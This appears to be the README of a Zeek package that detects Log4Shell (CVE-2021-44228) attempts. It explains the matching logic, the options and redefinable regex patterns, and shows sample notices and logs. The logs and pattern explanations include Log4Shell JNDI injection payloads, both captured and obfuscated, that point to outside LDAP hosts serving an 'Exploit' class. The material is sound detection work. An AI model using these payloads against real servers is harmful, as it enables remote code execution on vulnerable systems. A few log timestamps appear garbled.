CVE-2021-44228
A Zeek package which raises notices, tags HTTP connections and optionally generates a log for Log4J (CVE-2021-44228) attempts.
-
Detects payload contained in HTTP headers: See Simplifying Detection of Log4Shell for details.
-
Uses Zeek signatures to generate notices when a Java file is returned during an LDAP search. See Detecting Log4j via Zeek & LDAP traffic for details.
-
Detects when second stage Java Class is downloaded, regardless of payload and first stage detection. See Detecting Log4j exploits via Zeek when Java downloads Java for details.
Installation
$ zkg install cve-2021-44228
Use against a pcap you already have:
$ zeek -Cr scripts/__load__.zeek your.pcap
If you install from a git clone'd version of the repository, note that it
defaults to the development branch. Install from master or a release for a
more stable version of the package.
What counts as an exploit attempt
Header matching happens in two stages. exploit_pattern casts a deliberately
wide net over any ${name:value} interpolation, and everything it catches is
written to the log4j log for hunting. Only matches that carry JNDI evidence
get the LOG4J_RCE tag in http.log and the LOG4J_ATTEMPT_HEADER notice.
A match has JNDI evidence if, after deobfuscation, either:
- it references the JNDI lookup itself (
jndi_pattern, e.g.${jndi:), or - it interpolates a JNDI-capable scheme (
jndi_scheme_pattern:ldap,ldaps,rmi,dns,iiop,corba,nis,nds). Obfuscation can mangle the lookup name past recognition while leaving the URL intact, so this arm catches payloads such as${loqgr${loqgr:n}${loqgr:d}i:l${loqgr:d}${loqgr:a}p://10.0.0.1:1954/t}.
Evidence is always tested against the normalized payload, so obfuscated
spellings still alert. Ordinary log4j lookups and framework placeholders â
${env:USER}, ${date:YYYY-MM-dd}, ${ctx:loginId}, ${sys:java.version},
${spring:...}, ${k8s:...} â match exploit_pattern but are not attempts, so
they are logged without being tagged or noticed.
Options and notes:
CVE_2021_44228::logdetermines if thelog4jlog is generated. Defaults toT.CVE_2021_44228::notice_suspicious_headerraises the informationalLOG4J_SUSPICIOUS_HEADERnotice for header matches with no JNDI evidence. Defaults toF; these are mostly ordinary log4j lookups, and they appear in thelog4jlog either way.CVE_2021_44228::ignorable_target_hostsis a set oftarget_hosts so ignore. It is aset[string]so both IPs and domains can be ignored. An ignored target suppresses thelog4jlog entry, the notice and theLOG4J_RCEtag.CVE_2021_44228::ignorable_orig_hostsset ofaddrs from known benign scanners that can be ignored.CVE_2021_44228::ignorable_resp_hostsabove but forresps.CVE_2021_44228::try_normalizedetermines if normalizing the payload should be attempted. Defaults toT. This controls payload field extraction for the log only; JNDI evidence is always evaluated against the normalized payload so the option cannot downgrade an obfuscated attack.
The three matching patterns are &redef-able, so operators can tighten or loosen
the net without waiting on a release:
# Treat an additional scheme as JNDI-capable.
redef CVE_2021_44228::jndi_scheme_pattern =
/\$\{[^}]*(ldap|ldaps|rmi|dns|iiop|corba|nis|nds|nisplus):\/\//i;
CVE_2021_44228::exploit_pattern and CVE_2021_44228::jndi_pattern can be
redefined the same way.
Example Notices
This package generates four distinct notices:
LOG4J_ATTEMPT_HEADERLOG4J_SUSPICIOUS_HEADER(off by default, seenotice_suspicious_header)LOG4J_LDAP_JAVALOG4J_JAVA_CLASS_DOWNLOAD
LOG4J_ATTEMPT_HEADER flags potential attempts based on HTTP header data. These are also logged to log4j if enabled.
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-12-14-11-50-29
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
1639350256.733555 Cp7gaS3nVqVl49obpb 154.65.28.250 57932 172.16.4.58 80 - - - tcp CVE_2021_44228::LOG4J_ATTEMPT_HEADER Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers uri='/', payload_uri=45.83.193.150:1389/Exploit, payload_stem=45.83.193.150:1389, payload_host=45.83.193.150, payload_port=1389, method=GET, is_orig=T, header name='AUTHORIZATION', header value='Bearer ${jndi:ldap://45.83.193.150:1389/Exploit}' 154.65.28.250 172.16.4.58 80 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
#close 2021-12-14-11-50-29
LOG4J_LDAP_JAVA detects LDAP downloading Java bytecode. In practice, we see
this happen infrequently enough that it makes for a good proxy detection for
possibly successful exploits.
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open 2021-12-16-20-54-13
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
1639425815.885952 ClEkJM2Vm5giqnMf4h 172.16.238.10 57650 172.16.238.11 1389 - - - tcp Signatures::Sensitive_Signature 172.16.238.11: log4j_javaclassname_tcp 0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07... 172.16.238.11 172.16.238.10 1389 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
1639425815.885952 ClEkJM2Vm5giqnMf4h 172.16.238.10 57650 172.16.238.11 1389 - - - tcp CVE_2021_44228::LOG4J_LDAP_JAVA Possible Log4j exploit CVE-2021-44228 exploit, JAVA over LDAP. Refer to sub field for sample of payload. 0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07Exploit 172.16.238.10 172.16.238.11 1389 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
1639425834.635341 CUM0KZ3MLUfNB0cl11 172.16.238.10 57742 172.16.238.11 1389 - - - tcp Signatures::Sensitive_Signature 172.16.238.11: log4j_javaclassname_tcp 0\x81\x90\x02\x01\x02d\x81\x8a\x04\x01a0\x81\x840\x16\x04\x0djavaClassName1\x05\x04\x03foo0*\x04\x0cjavaCodeBase1\x1a\x04\x18http://172.16.238.11:80/0$\x04\x0bobjectClass1\x15\x04\x13javaNamingReference0\x18\x04\x0bjavaFactory1\x09\x04\x07... 172.16.238.11 172.16.238.10 1389 - - Notice::ACTION_LOG (empty) 3600.000000 - - - - -
#close 2021-12-16-20-54-13
Finally, LOG4J_JAVA_CLASS_DOWNLOAD generates a notice when we are confident
that Java downloads more Java. As above, this happens sufficiently rarely to be
a useful proxy detection.
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path notice
#open XXXX-XX-XX-XX-XX-XX
#fields ts uid id.orig_h id.orig_p id.resp_h id.resp_p fuid file_mime_type file_desc proto note msg sub src dst p n peer_descr actions email_dest suppress_for remote_location.country_code remote_location.region remote_location.city remote_location.latitude remote_location.longitude
#types time string addr port addr port string string string enum enum string string addr addr port count string set[enum] set[string] interval string string string double double
XXXXXXXXXX.XXXXXX C4J4Th3PJpwUYZZ6gc 172.16.238.10 48444 172.16.238.11 80 - - - tcp CVE_2021_44228::LOG4J_JAVA_CLASS_DOWNLOAD Possible Log4j CVE-2021-44228 exploit, Java has downloaded a Java class over HTTP indicating a potential second stage, after the primary LDAP request. Refer to sub field for user_agent and mime-type user_agent='Java/1.8.0_51', CONTENT-TYPE='application/java-vm', host='172.16.238.11' 172.16.238.10 172.16.238.11 80 - - Notice::ACTION_LOG (empty) 360XXXXXXXXXX.XXXXXX - - - - -
XXXXXXXXXX.XXXXXX CmES5u32sYpV7JYN 172.16.238.10 48534 172.16.238.11 80 - - - tcp CVE_2021_44228::LOG4J_JAVA_CLASS_DOWNLOAD Possible Log4j CVE-2021-44228 exploit, Java has downloaded a Java class over HTTP indicating a potential second stage, after the primary LDAP request. Refer to sub field for user_agent and mime-type user_agent='Java/1.8.0_51', CONTENT-TYPE='application/java-vm', host='172.16.238.11' 172.16.238.10 172.16.238.11 80 - - Notice::ACTION_LOG (empty) 360XXXXXXXXXX.XXXXXX - - - - -
#close 2021-12-126-19-17-58
Example Log (log4j.log)
Every exploit_pattern match lands here, including the ones with no JNDI
evidence that are deliberately not tagged or noticed. Narrowing the alert does
not cost you the hunting record.
#separator \x09
#set_separator ,
#empty_field (empty)
#unset_field -
#path log4j
#open 2021-12-14-11-50-29
#fields ts uid http_uri uri stem target_host target_port method is_orig name value matched_name matched_value
#types time string string string string string string string bool string string bool bool
1639350256.733555 Cp7gaS3nVqVl49obpb / 45.83.193.150:1389/Exploit 45.83.193.150:1389 45.83.193.150 1389 GET T AUTHORIZATION Bearer ${jndi:ldap://45.83.193.150:1389/Exploit} F T
#close 2021-12-14-11-50-29
References
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228
- https://corelight.com/blog/simplifying-detection-of-log4shell